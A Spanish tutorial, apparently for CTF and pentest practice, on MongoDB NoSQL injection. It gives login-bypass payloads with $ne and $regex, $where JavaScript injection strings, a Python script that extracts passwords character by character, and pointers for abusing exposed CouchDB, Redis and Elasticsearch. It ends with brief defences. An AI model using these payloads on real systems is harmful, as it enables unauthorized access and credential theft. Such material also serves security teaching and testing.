Inyección NoSQL en MongoDB: saltarse el login y sacar contraseñas
Detectar una inyección NoSQL, entrar en un login de MongoDB con $ne y $regex, y extraer contraseñas carácter a carácter con un script en Python.
MongoDB no usa SQL, pero eso no lo libra de las inyecciones. Las consultas son objetos JSON y, si la aplicación mete en ellos lo que envías sin comprobar el tipo, puedes cambiar un valor por un operador ($ne, $gt, $regex) o, en el peor caso, por código JavaScript que el servidor evalúa.
El fallo típico en Node.js con Express:
// El login esperaba dos cadenas...
const user = await db.collection('users').findOne({
username: req.body.username,
password: req.body.password
});
// ...pero si envías password[$ne]=x, Express te da un objeto: { "$ne": "x" }
La consulta pasa a ser "un usuario llamado admin cuya contraseña no sea x": entras sin saberla.
Detectarla
Señales de que hay MongoDB detrás: una aplicación en Node.js (cabecera X-Powered-By: Express), identificadores de 24 caracteres hexadecimales como 65a1f0c2e4b0a1b2c3d4e5f6 o errores que mencionan MongoError o BSON.
Prueba en cada parámetro, observando si cambia la respuesta:
| Envío | Qué indica |
|---|---|
' " \ { $ |
Un error 500 o una traza: el valor llega a la consulta |
user[$ne]=x |
Respuesta distinta a user=x: acepta operadores |
{"user": {"$ne": null}} en JSON |
Lo mismo cuando la petición va en JSON |
| `' |
Saltarse el login
Con formulario normal (application/x-www-form-urlencoded):
POST /login HTTP/1.1
Content-Type: application/x-www-form-urlencoded
username=admin&password[$ne]=x
Si la aplicación acepta JSON (prueba a cambiar la cabecera aunque el formulario no lo use):
POST /login HTTP/1.1
Content-Type: application/json
{"username": "admin", "password": {"$ne": "x"}}
Si no sabes el usuario, {"username": {"$ne": "x"}, "password": {"$ne": "x"}} devuelve el primero de la colección, que suele ser el administrador. Para elegir otro: {"username": {"$regex": "^adm"}, ...}.
Truco
En Shoppy el login construye la consulta concatenando texto dentro de un $where, así que lo que funciona es la versión JavaScript: admin'||'1'=='1 en el usuario.
Sacar la contraseña con $regex
Entrar está bien, pero muchas veces necesitas la contraseña (o el hash) para reutilizarla en SSH. Con $regex la consulta solo tiene éxito si la contraseña empieza por lo que pruebas, así que se puede adivinar carácter a carácter:
import requests, string
URL = "http://objetivo.htb/login"
alfabeto = string.ascii_letters + string.digits + "!@#%_-{}"
secreto = ""
while True:
for c in alfabeto:
intento = "^" + secreto + c.replace(".", r"\.")
r = requests.post(URL, data={"username": "admin", "password[$regex]": intento},
allow_redirects=False)
if r.status_code == 302: # login correcto: redirige al panel
secreto += c
print(secreto)
break
else:
break # ningún carácter encaja: ya está completa
print("Contraseña:", secreto)
Ajusta la condición de éxito a lo que haga la web (una redirección, una cookie, un texto distinto). Con ^.{8}$ averiguas antes la longitud, y con el mismo truco en el campo username sacas la lista de usuarios.
Inyección en JavaScript ($where y mapReduce)
Si la consulta usa $where o funciones de JavaScript en el servidor, puedes meter lógica propia:
' || '1'=='1 // siempre verdadero
' || this.password.match(/^a/) || 'a'=='b // sacar datos como con $regex
'; sleep(5000); ' // a ciegas, por tiempo
En versiones modernas el JavaScript del servidor está muy limitado, así que no esperes ejecutar comandos: el objetivo es saltarse la lógica y leer datos.
Otros motores
- CouchDB: API REST en el puerto 5984; prueba
/_all_dbsy/_users/_all_docssin autenticar, y la vieja CVE-2017-12635 para crear un administrador. - Redis: no es una inyección, pero si está expuesto sin contraseña puedes escribir una clave SSH o un cron con
CONFIG SET dir. - Elasticsearch:
/_cat/indicesy/_search?q=*sin autenticar.
Defensa
Validar el tipo de cada campo (que una contraseña sea una cadena y no un objeto), usar mongo-sanitize o la opción sanitizeFilter de Mongoose, y no usar nunca $where con datos del usuario.
Si la base de datos es relacional, pasa a la guía de inyección SQL y a la chuleta de SQLi.